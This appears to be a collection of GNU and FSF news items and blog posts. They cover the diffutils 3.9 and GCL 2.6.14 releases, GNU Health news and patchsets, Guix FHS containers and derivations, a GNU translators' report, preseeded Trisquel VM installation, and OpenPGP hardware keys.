Here are the compressed sources and a GPG detached signature: https://ftp.gnu.org/gnu/diffutils/diffutils-3.9.tar.xz https://ftp.gnu.org/gnu/diffutils/diffutils-3.9.tar.xz.sig
Use a mirror for higher download bandwidth: https://ftpmirror.gnu.org/diffutils/diffutils-3.9.tar.xz https://ftpmirror.gnu.org/diffutils/diffutils-3.9.tar.xz.sig
The SHA256 checksum is base64 encoded, instead of the hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify diffutils-3.9.tar.xz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
* Noteworthy changes in release 3.9 (2023-01-15) [stable]
** Bug fixes
diff -c and -u no longer output incorrect timezones in headers on platforms like Solaris where struct tm lacks tm\_gmtoff. [bug#51228 introduced in 3.4]
We start 2023 with exciting news for the medical and scientific community!
GNU Health has been adopted by he Jérôme Lejeune foundation, a leading organization in the research and management of trisomy 21 (Down Syndrome) and other intellectual disabilities of genetic origin.
Lejeune foundation has its headquarters in France, with offices in Argentina, the United States and Spain.
On December 2022, the faculty of engineering from the University of Entre Rios, represented by the dean Diego Campana and the head of the school of Public Health, Fernando Sassetti, formalized the agreement with the president of the Lejeune foundation in Argentina, Luz Morano.
The same month, I met in Madrid with the medical director and IT team of the Lejeune foundation Spain.
Luz Morano declared “[GNU Health] goes beyond the Foundation, providing the health professionals the specific features to manage a patient with trisomy 21. We are putting a project in the hands of humanity“
[GNU Health] goes beyond the Foundation, providing the health professionals the specific features to manage a patient with trisomy 21. We are putting a project in the hands of humanity
Luz Morano, President of Lejeune Foundation, Argentina
Morano also stated: “GNU Health will pave the road for the medical management, and let us focus on our two other missions: Research and the defense of patient rights“
The agreement is in the context of the GNU Health Alliance of Academic and Research Institutions that UNER has with GNU Solidario. In this sense, Fernando Sassetti explained “It provides tools for an integrative approach of those people with certain pathologies that due to the reduced number are not managed in the best way. This will benefit the organizations and health professionals, that today lack the means to do so in the best way and timely manner. It benefits the patients, in their right to have an integral health record.”
Research and Open Science
The adoption of GNUHealth by the Jérôme Lejeune Foundation opens new exciting avenues for the scientific community. In addition to the clinical management and medical history, GNU Health will enable scientists to dive into the fields of genomics, epigenetics and exposomics, gathering and processing information from multiple contexts and subjects, thanks to the distributed nature of the GNU Health Federation.
The GNU Health HMIS counts many packages and features, some of them of special interest for this project. In addition to the specific customizations for the foundation, the packages already present in GNUHealth, such as obstetrics, pediatrics, genomics, socioeconomics or lifestyle will provide a holistic approach to the person with trisomy 21 and other related conditions.
All of this will be done using exclusively Free/Libre software and open science.
People before Patients
Trisomy 21 poses challenges for the individual, their family, health professionals and the society. The scientific community needs to push the research to shed light on the etiology, physiopathology and associated clinical manifestations, such as heart defects, blood disorders or Alzheimer’s.
Most importantly, as part of the scientific community, we must put a stop to the discrimination and stigmatization. We must tear down the barriers and walls built on our societies that prevent the inclusion of individuals with trisomy 21.
As part of this effort, GNU Health provides the WHO International Classification on Functioning, disability and health (ICF). In other words, is not just the health condition or disorder we may have, but how the environmental factors and barriers influence the normal functioning and integration as individuals in the society. Many times, those physical, artificial barriers present in our daily lives are way more pernicious than the condition itself.
The strong focus of GNU Health in Social Medicine, and the way we perceive medicine as a social science will help improving the life of the person living with trisomy 21, and contribute to the much needed healing process in our societies. We need to work on the molecular basis of the health conditions, but little can be done if without empathetic, inclusive and supportive societies so people can live and enjoy life with dignity, no matter their health or socioeconomic status.
Projects like this represent the spirit of GNU Health and make me immensely proud to be part of this community.
Happy and healthy hacking! Luis Falcon, MD President, GNU Solidario
Greetings! The GCL team is happy to announce the release of version 2.6.14, the latest achievement in the 'stable' (as opposed to 'development') series. Please see http://www.gnu.org/software/gcl for downloading information.
This is a cleanup release with respect to 2.6.13, with the primary goal of supporting current gcc-12 signed integer tree-vrp optimizations, on by default at -O2 or higher.
There are a few portability fixes: X86\_64\_RELOC\_SIGNED\_1 support on macosx, centos readline/configure fixes, and R\_RISCV\_CALL\_PLT support on riscv64.
A fix to decode-universal-time is included, which is backward incompatible with a workaround in currently released maxima. The gcl\_cleanup... and/or master maxima branches in git have been adjusted accordingly.
'si::help has been imported into the "USER" package.
BOSTON, Massachusetts, USA -- Thursday, January 12, 2023 -- TheFree Software Foundation (FSF) today announced Erin Rose Glass asits first keynote speaker for LibrePlanet 2023, the fifteenthedition of the Free Software Foundation's conference on ethicaltechnology and user freedom. The annual technology and social justiceconference will be held March 18 and 19, 2023, online and in theBoston area, with the theme "Charting the Course."
Updating your system with the GNU Health control Center
Installation notes
List of other issues related to this patchset
About GNU Health Patchsets
We provide "patchsets" to stable releases. Patchsets allow applying bug fixes and updates on production systems. Always try to keep your production system up-to-date with the latest patches.
Patches and Patchsets maximize uptime for production systems, and keep your system updated, without the need to do a whole installation.
NOTE: Patchsets are applied on previously installed systems only. For new, fresh installations, download and install the whole tarball (ie, gnuhealth-4.0.5.tar.gz)
Updating your system with the GNU Health control Center
Starting GNU Health 3.x series, you can do automatic updates on the GNU Health HMIS kernel and modules using the GNU Health control center program.
The GNU Health control center works on standard installations (those done following the installation manual on wikibooks). Don't use it if you use an alternative method or if your distribution does not follow the GNUHealth packaging guidelines.
Installation Notes
You must apply previous patchsets before installing this patchset. If your patchset level is 4.0.5, then just follow the general instructions. You can find the patchsets at GNU Health main download site at GNU.org (https://ftp.gnu.org/gnu/health/)
In most cases, GNU Health Control center (gnuhealth-control) takes care of applying the patches for you.
After applying the patches, make a full update of your GNU Health database as explained in the documentation.
When running "gnuhealth-control" for the first time, you will see the following message: "Please restart now the update with the new control center" Please do so. Restart the process and the update will continue.
Restart the GNU Health server
List of other issues and tasks related to this patchset
bug #63558: Fault: 'NoneType' object has no attribute 'name'
bug #63557: Missing view architecture for ('calendar.category', None, 'tree')
bug #63533: Model 'gnuhealth.pol' is missing a default access
bug #63532: health\_caldav misses requiremnt vobject in setup.py
Copyright and licensing associate Craig Topham discusses the work done by the Licensing and Compliance Lab to answer licensing questions via articles, the FAQ, and email.
GNU Guix is different from most other GNU/Linux distributions and perhaps nowhere is thatmore obvious than the organization of the filesystem: Guix does not conform to theFilesystem Hierarchy Standard (FHS). Inpractical terms, this means there is no global /lib containing libraries, /bincontaining binaries,¹ and so on. This is very much at the core of how Guix works and someof the convenient features, like per-user installation of programs (different versions,for instance) and a declarative system configuration where the system is determined from aconfiguration file.
However, this also leads to a difference in how many pieces of software expect their worldto look like, relying on finding a library in /lib or an external tool in /bin. Whenthese are hard coded and not overcome with appropriate build options, we patch code torefer to absolute paths in the store, like/gnu/store/hrgqa7m498wfavq4awai3xz86ifkjxdr-grep-3.6/bin/grep, to keep everythingconsistently contained within the store.
It all works great and is thanks to the hard work of everyone that has contributed toGuix. But what if we need a more FHS-like environment for developing, testing, or runninga piece of software?
To that end, we've recentlyadded (available in Guix 1.4.0)a new option for guix shell(previously called guix environment):--emulate-fhs (or -F). This option is used in conjunction with the--container (or -C)option which creates an isolated, you guessed it, container. The new --emulate-fhsoption will set up an environment in the container that follows FHS expectations, so thatlibraries are visible in /lib in the container, as an example.
$ ls /bin -ltotal 4lrwxrwxrwx 1 root root 61 Dec 12 09:57 sh -> \ /gnu/store/d99ykvj3axzzidygsmdmzxah4lvxd6hw-bash-5.1.8/bin/sh*
and /lib
$ ls /libls: cannot access '/lib': No such file or directory
Or, if you like to see it more in motion, here's a gif (courtesy of Ludovic Courtès):
Additionally, for the more technically-minded, the glibc used in thiscontainerwill read from a global cache in /etc/ld.so.cache contrary to the behavior inGuixotherwise. This can help ensure that libraries are found when querying the ld cache orusing the output of ldconfig -p, for example.
There are several uses that spring to mind for such a container in Guix. For developers,or those aspiring to hack on a project, this is a helpful tool when needing to emulate adifferent (non-Guix) environment. For example, one could use this to more easily followbuild instructions meant for a general distribution, say when a Guix package is not (yet)available or easy to write immediately.
Another usage is to be able to use tools that don't really fit into Guix's model, likeones that use pre-built binaries. There are many reasons why this is not ideal and Guixstrives to replace or supplement such tools, but practically speaking they can be hard toavoid entirely. The FHS container helps bridge this gap, providing an isolated andreproducible environment as needed.
Users not interested in development will also find the FHS container useful. For example,there may be software that is free and conforms to the Free System DistributionGuidelines (FSDG) Guixfollows, yet is not feasible to bepackaged by our standards.JavaScript and particularly Electron applications are notyet packaged for Guix due to thedifficulties of a properlysource-based and bootstrapable approach in this ecosystem.
As a more interesting example for this last point, let's dive right into a big one: thepopular VSCodium editor. This is a freelylicensed build of Microsoft'sVS Code editor. This is based on Electron and pre-built AppImagesare available. Downloading and making theAppImage executable (with a chmod +x), we can run it in a container with
The second line is a handy cheat to get lots of libraries often needed for graphicalapplications (development inputs of the package ungoogled-chromium) though it can beoverkill if the AppImage does actually bundle everything (they don't!). The next line isfor display on the host's X server, the one after for DBus communication, and lastlyexposing some of the host hardware for rendering. This last part may be different ondifferent hardware. That should do it, at least to see basic functionality of VSCodium.Note that we can't run an AppImage without the --appimage-extract-and-run option as itwill want to use FUSE tomount the image which is not possible from the container.²
The FHS container is also useful to be able to run the exact same binary as anyone else,as you might want to for privacy reasons with the TorBrowser. While there is a long-standing set ofpatches to build the Tor Browser from source, with acontainer we can run the official build directly. Afterdownloading, checking thesignature, andunpacking, we can launch the Tor Browserfrom the root of the unpacked directory with:
Here we've used a more minimal set of package inputs, rather than the ungoogled-chromiumtrick above. Usually this is found through some trial and error, looking at log output,maybe tracing, and sometimes from documentation. Though documentation of needed packagesoften has some assumptions on what is already available on typical systems. (Thanks to JimNewsome for pointing out this example on the guix-devel mailinglist.)
Another example is to get the latest nightly builds of Rust, via rustup.
First we created a ~/temphome directory to use as $HOME in the container and thenincluded a bunch of libraries in the container for the next example.
This will proceed without problem and we'll see
info: downloading installerWelcome to Rust!This will download and install the official compiler for the Rustprogramming language, and its package manager, Cargo....Rust is installed now. Great!To get started you may need to restart your current shell.This would reload your PATH environment variable to includeCargo's bin directory ($HOME/.cargo/bin).To configure your current shell, run:source "$HOME/.cargo/env"
After updating the shells environment as instructed, we can see it all worked
as Guix's current Rust is at 1.61.0 and we didn't even include Rust in thecontainer, of course.
Finally, we can build a Rust project of desktop widgets, ElKowars wacky widgets(eww), following theirdirections. Ultimately this uses just the standard cargo build --release and builds after downloading all the needed libraries.
~/temphome/eww [env]$ git clone https://github.com/elkowar/eww...~/temphome/eww [env]$ cd eww~/temphome/eww [env]$ cargo build --releaseinfo: syncing channel updates for 'nightly-2022-08-27-x86\_64-unknown-linux-gnu'info: latest update on 2022-08-27, rust version 1.65.0-nightly (c07a8b4e0 2022-08-26)...Finished release [optimized] target(s) in 2m 06s
With this being a fresh container, you will need to make some directories that normallyexist, like ~/.config and ~/.cache in this case. For basic display support, it isenough to add --preserve='^DISPLAY$' --preserve='^XAUTHORITY$' --expose=$XAUTHORITY tothe container launch options and run the first example widget in thedocumentation.
As we can see, with containers more generally we have to provide the right inputs andoptions as the environment is completely specified at creation. Once you want to runsomething that needs hardware from the host or to access host files, the container becomesincreasingly porous for more functionality. This is certainly a trade-off, but one whichwe have agency with a container we wouldn't get otherwise.
The FHS option provides another option to make a container in Guix to produce otherenvironments, even those with a vastly different philosophy of the root filesystem! Thisis one more tool in the Guix toolbox for controlled and reproducible environments thatalso let's us do some things we couldn't (easily) do otherwise.
Notes
¹ Other than a symlink for sh from the bashpackage, for compatibility reasons.
² Actually, one can use flatpak-spawn fromflatpak-xdg-utils to launch somethingon the host and get the AppImage to mount itself. However, it is not visible from the samecontainer. Or, we can use a normal mountingprocessoutside of the container to inspect the contents, but AppImages will have an offset. Wecan use the FHS container option to get this offset and then mount in one line with mount VSCodium-1.74.0.22342.glibc2.17-x86\_64.AppImage <mountpoint> -o offset=$(guix shell --container --emulate-fhs zlib -- ./VSCodium-1.74.0.22342.glibc2.17-x86\_64.AppImage --appimage-offset)
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
Our fundraiser is extended until January 20, which means you have more time to participate in helping us reach our goal! Miriam discusses how memberships help drive our advocacy.
To a new user, Guix's functional architecture can seem quite alien, and possiblyoffputting. With a combination of extensive #guix-querying, determinedmanual-reading, and plenty of source-perusing, they may eventually figure outhow everything fits together by themselves, but this can be frustrating andoften takes a fairly long time.
However, once you peel back the layers, the "Nix way" is actually ratherelegant, if perhaps not as simple as the mutable, imperative style implementedby the likes of dpkg andpacman.This series of blog posts will cover basic Guix concepts, taking a "ground-up"approach by dealing with lower-level concepts first, and hopefully make thosemonths of information-gathering unnecessary.
Before we dig in to Guix-specific concepts, we'll need to learn about oneinherited from Nix, the original functional package managerand the inspiration for Guix; the idea of aderivationand its corresponding store items.
These concepts were originally described by Eelco Dolstra, the original authorof Nix, in their PhD thesis;see ยง 2.1 The Nix store and ยง 2.4 Store Derivations.
Store Items
As you probably know, everything that Guix builds is stored in the store,which is almost always the /gnu/store directory. It's the job of theguix-daemonto manage the store and build things. If you runguix build PKG,PKG will be built or downloaded from a substitute server if available, and apath to an item in the store will be displayed.
glib produces five /gnu/store items, because it's possible for a package toproduce multiple outputs.Each output can be referred to separately, by prefixing a package's name with:OUTPUT where supported. For example, thisguix installinvocation will add glib's bin output to your profile:
$ guix install glib:bin
The default output is out, so when you pass glib by itself to that command,it will actually install glib:out to the profile.
guix build also provides the --source flag, which produces the store itemcorresponding to the given package's downloaded source code.
But how does Guix know how to build these store outputs in the first place?That's where derivations come in.
.drv Files
You've probably seen these being printed by the Guix program now and again.Derivations, represented in the daemon's eyes by .drv files, containinstructions for building store items. We can retrieve the paths of these.drv files with the guix build --derivations command:
It's... not exactly human-readable. We could try to format it and break itdown, but it'd still be pretty hard to understand, since .drv files contain nolabels for the fields or any other human-readable indicators. Instead, we'regoing to explore derivations in a Guile REPL.
Exploring Guix Interactively
Before we continue, we'll want to start a REPL, so that we can try out the GuixGuile API interactively. To run a REPL in the terminal, simplycall guix repl.
If you're using Emacs, you can instead installGeiser, which provides a comfortable Emacs UI forvarious Lisp REPLs, invoke guix repl --listen=tcp:37146 &, and typeM-x geiser-connect RET RET RET to connect to the running Guile instance.
Your .guile file may contain code for enabling colours and readline bindingsthat Geiser will choke on. The default Guix System .guile contains code tosuppress these features when INSIDE\_EMACS is set, so you'll need to runguix repl like this:
INSIDE\_EMACS=1 guix repl --listen=tcp:37146 &
There are a few Guix modules we'll need. Run this Scheme code to import them:
We now have access to the store, G-expression, package, and derivation APIs,along with the irssi and glib<package> objects.
Creating a <derivation>
The Guix API for derivations revolves around the <derivation> record, which isthe Scheme representation of that whole block of text surrounded byDerive(...). If we look in guix/derivations.scm, we can see that it'sdefined like this:
(define-immutable-record-type <derivation> (make-derivation outputs inputs sources system builder args env-vars file-name) derivation? (outputs derivation-outputs) ; list of name/<derivation-output> pairs (inputs derivation-inputs) ; list of <derivation-input> (sources derivation-sources) ; list of store paths (system derivation-system) ; string (builder derivation-builder) ; store path (args derivation-builder-arguments) ; list of strings (env-vars derivation-builder-environment-vars) ; list of name/value pairs (file-name derivation-file-name)) ; the .drv file name
With the exception of file-name, each of those fields corresponds to a fieldin the Derive(...) form. Before we can examine them, though, we need tofigure out how to lower that irssi<package> object into a derivation.
guix repl provides the ,lower command to create derivations quickly,as shown in this sample REPL session:
scheme@(guile-user)> ,use (guix)scheme@(guile-user)> ,use (gnu packages irc)scheme@(guile-user)> irssi$1 = #<package irssi@1.4.3 gnu/packages/irc.scm:153 7f3ff98e0c60>scheme@(guile-user)> ,lower irssi$2 = #<derivation /gnu/store/drjfddvlblpr635jazrg9kn5azd9hsbj-irssi-1.4.3.drv => /gnu/store/v5pd69j3hjs1fck4b5p9hd91wc8yf5qx-irssi-1.4.3 7f3ff7782d70>;; Below we use the $N variable automatically bound by the REPL.scheme@(guile-user)> (derivation-system $2)$3 = "x86\_64-linux"
Since ,lower is a REPL command, however, we can't use it in proper Schemecode. It's quite useful for exploring specific derivations interactively, butsince the purpose of this blog post is to explain how things work inside, we'regoing to use the pure-Scheme approach here.
The procedure we need to use to turn a high-level object like <package> into aderivation is called lower-object; more on that in a future post. However,this doesn't initially produce a derivation:
(pk (lower-object irssi));;; (#<procedure 7fe17c7af540 at guix/store.scm:1994:2 (state)>)
pk is an abbreviation for the procedure peek, which takes the given object,writes a representation of it to the output, and returns it. It's especiallyhandy when you want to view an intermediate value in a complex expression.
The returned object is a monadic value (more on those in the next post onmonads) that needs to be evaluated in the context of a store connection. We dothis by first using with-store to connect to the store and bind the connectionto a name, then wrapping the lower-object call with run-with-store:
The hash-algo and hash fields are for storing the content hash and thealgorithm used with that hash for what we term a fixed-output derivation,which is essentially a derivation where we know what the hash of the contentwill be in advance. For instance, origins produce fixed-output derivations:
Perceptive readers may note that the <derivation-output> has four fields,whereas the tuple in the .drv file only has three (minus the label). Theserialisation of recursive? is done by adding the prefix r: to thehash-algo field, though its actual purpose is difficult to explain, and is outof scope for this post.
<derivation-input>
The next field is inputs, which corresponds to the second field in the .drvfile format:
Here, each tuple specifies a derivation that needs to be built before thisderivation can be built, and the outputs of the derivation that the buildprocess of this derivation uses. Let's grab us the Scheme equivalent:
Unlike derivation-outputs, derivation-inputs maps 1:1 to the .drvform; the drv field is a <derivation> to be built, and thesub-derivations field is a list of outputs.
Builder Configuration
The other fields are simpler; none of them involve new records. The third isderivation-sources, which contains a list of all store items used in the buildwhich aren't themselves built using derivations, whereas derivation-inputscontains the dependencies which are.
This list usually just contains the path to the Guile build script thatrealises the store items when run, which we'll examine in a later post, andthe path to a directory containing extra modules to add to the build script's%load-path, called /gnu/store/...-module-import.
The next field is derivation-system, which specifies the system type (such asx86\_64-linux) we're building for. Then we have derivation-builder, pointingto the guile executable that runs the build script; and the second-to-last isderivation-builder-arguments, which is a list of arguments to pass toderivation-builder. Note how we use -L and -C to extend the Guile%load-path and %load-compiled-path to include the module-import andmodule-import-compiled directories:
The last record field, derivation-file-name contains the path to the .drvfile, and so isn't represented in a serialised derivation.
Utilising <derivation>
Speaking of serialisation, to convert between the .drv text format and theScheme <derivation> record, you can use write-derivation, read-derivation,and read-derivation-from-file:
Derivations are one of Guix's most important concepts, but are fairly easy tounderstand once you get past the obtuse .drv file format. They provide theGuix daemon with the initial instructions that it uses to build store itemslike packages, origins, and other file-likes such as computed-file andlocal-file, which will be discussed in a future post!
To recap, a derivation contains the following fields:
derivation-outputs, describing the various output paths that the derivationbuilds
derivation-inputs, describing the other derivations that need to be builtbefore this one is
derivation-sources, listing the non-derivation store items that thederivation depends on
derivation-system, specifying the system type a derivation will be compiledfor
derivation-builder, the executable to run the build script with
derivation-builder-arguments, arguments to pass to the builder
derivation-builder-environment-vars, variables to set in the builder'senvironment
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
Thank you very much for you contribution in 2022. There have been a few new comers joining our team, like Wind. Their work is appreciated.
The whole team have been doing a good job in 2022. Here is official letter from GNU.
Dear GNU translators!
This year was relatively quiet; the total number of new translations was considerably lower than in 2021, especially in terms of size.
Almost two of every three translations were made in the "Simplified" Chinese team; the Albanian and Turkish teams significantly reduced the percentage of their outdated translations.
General Statistics
In November, we reached new maximum values of translations per file in important directories, 9.44 translations per file (0.12 more than in 2021) and 8.85 translations weighted with size of articles (0.46 more than in 2021), 50 Mi in 3300 files total.
Meanwhile, the percent of outdated translations was as high as at the end of 2021 (about twice as high as the historical minimum in 2014-2015).
The table below shows the number and size of newly translated articles in important directories and typical number of outdated GNUNified translations throughout the year.
For the reference: 8 new articles were added, amounting to 72Ki, and there were about 500 changes in about 150 English files in the important directories, approximately two times less than in 2021.
I’m migrating some self-hosted virtual machines to Trisquel, and noticed that Trisquel does not offer cloud-images similar to the Debian Cloud and Ubuntu Cloud images. Thus my earlier approach based on virt-install --cloud-init and cloud-localds does not work with Trisquel. While I hope that Trisquel will eventually publish cloud-compatible images, I wanted to document an alternative approach for Trisquel based on preseeding. This is how I used to install Debian and Ubuntu in the old days, and the automated preseed method is best documented in the Debian installation manual. I was hoping to forget about the preseed format, but maybe it will become one of those legacy technologies that never really disappears? Like FAT16 and 8-bit microcontrollers.
Below I assume you have a virtual machine host server up that runs libvirt and has virt-install and similar tools; install them with the following command. I run a pre-release version of Trisquel 11 aramo on my VM-host, but I believe any recent dpkg-based distribution like Trisquel 9/10, PureOS 10, Debian 11 or Ubuntu 20.04/22.04 would work.
The approach can install Trisquel 9 (etiona), Trisquel 10 (nabia) and the pre-release of Trisquel 11. First download and verify the integrity of the netinst images that we will need. Unfortunately the Trisquel 11 netinst beta image does not have any checksum or signature available.
I have developed the following fairly minimal preseed file that works with all three Trisquel releases. Compare it against the official Trisquel 11 preseed skeleton and the Debian 11 example preseed file. You should modify obvious things like SSH key, host/IP settings, partition layout and decide for yourself how to deal with passwords. While Ubuntu/Trisquel usually wants to setup a user account, I prefer to login as root hence setting ‘passwd/root-login‘ to true and ‘passwd/make-user‘ to false.
Use the file above as a skeleton for preparing a VM-specific preseed file as follows. The environment variables HOST and IPS will be used later on too.
The following script is used to prepare the ISO images with the preseed file that we will need. This script is inspired by the Debian Wiki Preseed EditIso page and the Trisquel ISO customization wiki page. There are a couple of variations based on earlier works. Paths are updated to match the Trisquel netinst ISO layout, which differ slightly from Debian. We modify isolinux.cfg to boot the auto label without a timeout. On Trisquel 11 the auto boot label exists, but on Trisquel 9 and Trisquel 10 it does not exist so we add it in order to be able to start the automated preseed installation.
Next run the command on one of the downloaded ISO image and the generated preseed file.
root@trana:~# ./gen-preseed-iso /root/iso/trisquel-netinst\_10.0.1\_amd64.iso vm-$HOST.preseed vm-$HOST.iso+ ISO=/root/iso/trisquel-netinst\_10.0.1\_amd64.iso+ PRESEED=vm-foo.preseed+ OUTISO=vm-foo.iso+ LASTPWD=/root+ test -f /root/iso/trisquel-netinst\_10.0.1\_amd64.iso+ test -f vm-foo.preseed+ test ! -f vm-foo.iso+ mktemp -d+ TMPDIR=/tmp/tmp.mNEprT4Tx9+ mkdir /tmp/tmp.mNEprT4Tx9/mnt+ mkdir /tmp/tmp.mNEprT4Tx9/tmp+ cp vm-foo.preseed /tmp/tmp.mNEprT4Tx9/preseed.cfg+ cd /tmp/tmp.mNEprT4Tx9+ mount /root/iso/trisquel-netinst\_10.0.1\_amd64.iso mnt/mount: /tmp/tmp.mNEprT4Tx9/mnt: WARNING: source write-protected, mounted read-only.+ cp -rT mnt/ tmp/+ umount mnt/+ chmod +w -R tmp/+ gunzip tmp/initrd.gz+ echo preseed.cfg+ cpio -H newc -o -A -F tmp/initrd5 blocks+ gzip tmp/initrd+ chmod -w -R tmp/+ sed -i s/timeout 0/timeout 1/ tmp/isolinux.cfg+ sed -i s/default vesamenu.c32/default auto/ tmp/isolinux.cfg+ grep -q auto tmp/adtxt.cfg+ cat+ cd tmp/+ find -follow -type f+ xargs md5sum+ cd ..+ cd /root+ genisoimage -r -J -b isolinux.bin -c boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -o vm-foo.iso /tmp/tmp.mNEprT4Tx9/tmp/I: -input-charset not specified, using utf-8 (detected in locale settings)Using GCRY\_000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/gcry\_sha512.mod (gcry\_sha256.mod)Using XNU\_U000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/xnu\_uuid.mod (xnu\_uuid\_test.mod)Using PASSW000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/password\_pbkdf2.mod (password.mod)Using PART\_000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/part\_sunpc.mod (part\_sun.mod)Using USBSE000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/usbserial\_pl2303.mod (usbserial\_ftdi.mod)Using USBSE001.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/usbserial\_ftdi.mod (usbserial\_usbdebug.mod)Using VIDEO000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/videotest.mod (videotest\_checksum.mod)Using GFXTE000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/gfxterm\_background.mod (gfxterm\_menu.mod)Using GCRY\_001.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/gcry\_sha256.mod (gcry\_sha1.mod)Using MULTI000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/multiboot2.mod (multiboot.mod)Using USBSE002.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/usbserial\_usbdebug.mod (usbserial\_common.mod)Using MDRAI000.MOD;1 for /tmp/tmp.mNEprT4Tx9/tmp/boot/grub/x86\_64-efi/mdraid09.mod (mdraid09\_be.mod)Size of boot image is 4 sectors -> No emulation 22.89% done, estimate finish Thu Dec 29 23:36:18 2022 45.70% done, estimate finish Thu Dec 29 23:36:18 2022 68.56% done, estimate finish Thu Dec 29 23:36:18 2022 91.45% done, estimate finish Thu Dec 29 23:36:18 2022Total translation table size: 2048Total rockridge attributes bytes: 24816Total directory bytes: 40960Path table size(bytes): 64Max brk space used 4600021885 extents written (42 MB)+ rm -rf /tmp/tmp.mNEprT4Tx9+ exit 0root@trana:~#
Now the image is ready for installation, so invoke virt-install as follows. The machine will start directly, launching the preseed automatic installation. At this point, I usually click on the virtual machine in virt-manager to follow screen output until the installation has finished. If everything works OK the machines comes up and I can ssh into it.
root@trana:~# virt-install --name $HOST --disk vm-$HOST.img,size=5 --cdrom vm-$HOST.iso --osinfo linux2020 --autostart --noautoconsole --waitUsing linux2020 default --memory 4096Starting install...Allocating 'vm-foo.img' | 0 B 00:00:00 ... Creating domain... | 0 B 00:00:00 Domain is still running. Installation may be in progress.Waiting for the installation to complete.Domain has shutdown. Continuing.Domain creation completed.Restarting guest.root@trana:~#
There are some problems that I have noticed that would be nice to fix, but are easy to work around. The first is that at the end of the installation of Trisquel 9 and Trisquel 10, the VM hangs after displaying Sent SIGKILL to all processes followed by Requesting system reboot. I kill the VM manually using virsh destroy foo and start it up again using virsh start foo. For production use I expect to be running Trisquel 11, where the problem doesn’t happen, so this does not bother me enough to debug further. The remaining issue that once booted, a Trisquel 11 VM has lost its DNS nameserver configuration, presumably due to poor integration with systemd-resolved. Both Trisquel 9 and Trisquel 10 uses systemd-resolved where DNS works after first boot, so this appears to be a Trisquel 11 bug. You can work around it with rm -f /etc/resolv.conf && echo 'nameserver A.B.C.D' > /etc/resolv.conf or drink the systemd Kool-Aid. If you want to clean up and re-start the process, here is how you wipe out what you did. After this, you may run the sed, ./gen-preseed-iso and virt-install commands again. Remember, use virsh shutdown foo to gracefully shutdown a VM.
root@trana:~# virsh destroy fooDomain 'foo' destroyedroot@trana:~# virsh undefine foo --remove-all-storageDomain 'foo' has been undefinedVolume 'vda'(/root/vm-foo.img) removed.root@trana:~# rm vm-foo.*root@trana:~#
For IDAD 2022, FSF staff took to the streets to ask passersby what they think about digital sharing. Read our wrapup and watch the first in a series of videos we are releasing in the coming days.
I use GnuPG to compute cryptographic signatures for my emails, git commits/tags, and software release artifacts (tarballs). Part of GnuPG is gpg-agent which talks to OpenSSH, which I login to remote servers and to clone git repositories. I dislike storing cryptographic keys on general-purpose machines, and have used hardware-backed OpenPGP keys since around 2006 when I got a FSFE Fellowship Card. GnuPG via gpg-agent handles this well, and the private key never leaves the hardware. These ZeitControl cards were (to my knowledge) proprietary hardware running some non-free operating system and OpenPGP implementation. By late 2012 the YubiKey NEO supported OpenPGP, and while the hardware and operating system on it was not free, at least it ran a free software OpenPGP implementation and eventually I setup my primary RSA key on it. This worked well for a couple of years, and when I in 2019 wished to migrate to a new key, the FST-01G device with open hardware running free software that supported Ed25519 had become available. I created a key and have been using the FST-01G on my main laptop since then. This little device has been working, the signature counter on it is around 14501 which means around 10 signatures/day since then!
Currently I am in the process of migrating towards a new laptop, and moving the FST-01G device between them is cumbersome, especially if I want to use both laptops in parallel. That’s why I need to setup a new hardware device to hold my OpenPGP key, which can go with my new laptop. This is a good time to re-visit earlier options again. I quickly decided that I did not want to create a new key, only to import my current one to keep everything working. My requirements on the device to chose hasn’t changed since 2019, see my summary at the end of the earlier blog post. Unfortunately the FST-01G is not available on the market, and the newer FST-01SZ has been out of stock for quite a while. While Tillitis looks promising (and I have one to play with), it does not support OpenPGP (yet). What to do? Fortunately, I found some FST-01SZ device in my drawer, and decided to use it pending a more satisfactory answer. Hopefully once I get around to generate a new OpenPGP key in a year or so, I will do a better survey of options that are available on the market then. What are your (freedom-respecting) OpenPGP hardware recommendations?
FST-01SZ circuit board
